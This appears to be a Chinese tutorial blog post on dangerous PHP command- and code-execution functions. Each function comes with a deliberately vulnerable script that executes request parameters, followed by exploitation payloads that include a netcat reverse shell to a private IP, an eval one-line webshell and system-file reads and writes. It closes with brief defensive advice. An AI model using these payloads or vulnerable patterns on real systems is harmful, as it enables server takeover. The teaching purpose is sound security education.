后台代码-PHP危险函数

目录

后台代码-PHP危险函数

1.OS命令执行函数

*PHP代码执行函数

*回调函数

*动态函数 $a($b)

扩展知识:

OS命令注入漏洞

PHP代码注入


后台代码-PHP危险函数

RCE,(Remote Code\Command Execute)

 

1.OS命令执行函数

函数会调用系统命令,类似于 bash或者cmd,PHP会自动区分平台。

☺  系统命令函数,调用的是服务器命令。

☺  PHP解释器会自动识别系统平台

☺  如果参数可控,就相当于shell

☺  在浏览器输入命令,在服务器端执行

 通过Web方式传参调用系统命令,无法切换工作目录,非持久性链接,对比反弹shell.

System()

System() 自带输出功能 ,将字符串作为OS命令执行。

例:php脚本验证

if(isset($_GET['cmd'])){

echo "

";

system($_GET['cmd']);

}else{

echo"

?cmd=ipconfig

";

}

?>

验证结果:

后台代码-PHP危险函数_第1张图片

后台代码-PHP危险函数_第2张图片

注:在Web页面执行命令时,不能切换命令。

exec()

exec  将字符串作为OS命令执行。

      不支持命令中有空格

不带输出功能 ,需要利用print,

*输出不完整。

例:php脚本验证

if(isset($_GET['cmd'])){

echo "

";

print exec($_GET['cmd']);

}else{

echo"

?cmd=whoami

";

}

?>

验证:

后台代码-PHP危险函数_第3张图片

Shell_exec

将函数中的参数作为OS命令执行。

需要print输出命令执行结果

*支持命令有空格

例:php脚本验证

if(isset($_GET['cmd'])){

     print shell_exec($_GET['cmd']);

}else{

     echo"?cmd=whoami";

}

?>

验证:

后台代码-PHP危险函数_第4张图片

Passthru()

将字符串当做系统命令执行。自带输出功能。

例:php脚本验证

If(isset($_GET[‘cmd’])){

    Passthru($_GET[‘cmd’]);

}else{

Echo”?cmd=whoami”;

}

?>

 

popen()

popen( )能够执行OS命令。

次函数没有回显,但是可以执行命令

*Popen  无输出:(打开进程文件指针:就是返回一个文件,并打开)我们需要利用导入功能

?cmd=ipconfig >>1.txt 或者 whoami >1.txt

If(isset($_GET[‘cmd’])){

      //popen($_GET[‘cmd’],‘r’);

      Popen($_GET[‘cmd’], ‘w’);

}

?>

 

后台代码-PHP危险函数_第5张图片

后台代码-PHP危险函数_第6张图片

 

反引号

反引号 ` `内的字符串,也会被解析成OS命令。

If(isset($_GET[‘cmd’])){

       $cmd=$_GET[‘cmd’];

       Print `$cmd`;

}else{

     echo”?cmd=whoami ”;

}

?>

 

*PHP代码执行函数

PHP中很多函数,可以将符合PHP语法规范字符串当做PHP代码执行。

eval()

eval() 会将符合PHP 语法规范字符串当作php 代码执⾏

虽然可以以函数的⽅式调⽤ eval() ,但是 eval() 不是PHP 的函数,⽽是⼀种语法结构。

在 eval() 执⾏的的字符串要以  ;分号结束

其他命令执⾏的⽅式

?code=phpinfo( );

?code=${phpinfo( )};

?code=1;phpinfo( );

后台代码-PHP危险函数_第7张图片

脚本:

$str = $_GET[‘code’];

eval($str)

?>

 

$str = addslashes($_GET['code']);

echo $str;

eval($str);

注:addslashes:使用反斜线引用字符串

该函数可用于为存储在数据库中的字符串以及数据库查询语句准备合适的字符串。

 

*assert( )

assert() 同样会将字符串当做PHP 代码来执⾏。

字符串结尾可以不添加分号。

if(isset($_GET[‘code’])){

$code=$_GET[‘code’];

assert($code);

}else{

     echo “Please submit code!
?code=phpifo( )”;

}

?>

 

 

*preg_replace( )

preg_replace() 函数的作⽤是对字符串进⾏正则匹配后替换

例:

$str = preg_replace (‘/a/’,‘A’,‘abacad’);          //AbAcAd

                       将a 用A 替换

$str = preg_replace  (‘/\[(.*)\]/’, ’’A’, ’[phpinfo()]’;  //A

转译符号将中括号和 .* (所有字符)作为一个整体 ,也就是匹配中括号的内容用A替换

$str = preg_replace  (‘/\[(.*)\]/’, ‘\\1’, ‘[phpinfo()]’);  //phpinfo()

                              第一次匹配的内容,如果数字是2就是第二次匹配的内容

*漏洞:$str = preg_replace  (‘/\[(.*)\]/e’, ‘\\1’, ‘[phpinfo()]’);  //phpinfo()

 添加-e修饰符  会直接执行

*回调函数

一个函数调取另一个函数。PHP语言中回调函数有很多。

 * call_user_func()

call_user_func(‘assert’, ‘phpinfo( )’);

// assert(‘phpinfo( )’);

  第一个参数,assert被调用的函数名

  第二个函数,Phpinfo( )作为被调用函数的参数。

 * array_map()

 

*动态函数 $a($b)

由于PHP 的特性原因,PHP 的函数⽀持直接由拼接的⽅式调⽤,这直接导致了PHP 在安全上的控制有

加⼤了难度。不少知名程序中也⽤到了动态函数的写法,这种写法跟使⽤ call_user_func() 的初衷

⼀样,⽤来更加⽅便地调⽤函数,但是⼀旦过滤不严格就会造成代码执⾏漏洞。

if(isset($_GET['a'])){

$a=$_GET['a'];

$b=$_GET['b'];

$a($b);

}else{

echo "

?a=assert&b=phpinfo()

";

}

?>

 

 

注:脚本练习  一句话木马 菜刀原理:

$_GET  $_POST  $_COOKIE  >>>> $_REQUEST 是前三个集合

 

后台代码-PHP危险函数_第8张图片

 

后台代码-PHP危险函数_第9张图片

 

扩展知识:

OS命令注入漏洞

原理以及原因

 

漏洞危害

  1. 继承Web服务器程序权限,去执行系统命令。
  2. 继承Web服务器权限,读写文件
  3. 反弹shell
  4. 控制整个网站
  5. 控制整个服务站

 

命令注入漏洞利用

OS 命令注⼊漏洞,攻击者直接继承Web ⽤户权限,在服务器上执⾏任意系统命令,危害特别⼤。

以下命令均在windows 系统下测试。

查看系统文件( 读,r )

?cmd=type c:\windows\system32\divers\etc\hosts

显示当前路径

?cmd=cd

?cmd=pwd

写文件(w

?cmd=echo ^ > c:\phpstudy\www\php\commandi\shell.php

?cmd=echo ^ > ./shell.php

执行某一个程序

?cmd=calc(计算器)

?cmd=nc.exe –e cmd.exe 192.168.137.144  123456

 

 

 

 

PHP代码注入

Web应用如果存在代码执行漏洞是一件非常可怕的事情

可以通过代码执行漏洞继承Web用户权限,执行任意代码。

如果服务器没有正确配置,Web用户权限比较高的话,可以读写目标服务器任意文件内容,甚至可以控制整个网络以及服务器。

  1. 直接获取shell

?code=@eval($_POST[1]);

 

  1. 获取当前文件的绝对路径

?code=print(__FILE__);

 

  1. 读文件

?code=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts'))

?code=print(file_get_contents('assert.php'))

  1. 写文件

?code=file_put_contents($_POST[1],$_POST[2])

// 第⼀个参数,⽂件⽬标路径

// 第⼆个参数,⽂件的内容

1=shell.php&2=

 

 

 

防御漏洞的办法

  1. 尽量不要使⽤eval 等危险函数
  2. 如果使⽤的话⼀定要进⾏严格的过滤
  3. preg_replace() 放弃使⽤ /e 修饰符
  4. 尽量减少危险函数的使⽤,并在 php,ini 配置⽂件中 disable_functions 中禁⽤

disable_functions = system,assert

  1. 参数的值尽量使引号包裹,并在拼接前调addslashes() 进⾏转义

你可能感兴趣的:(后台代码-PHP危险函数)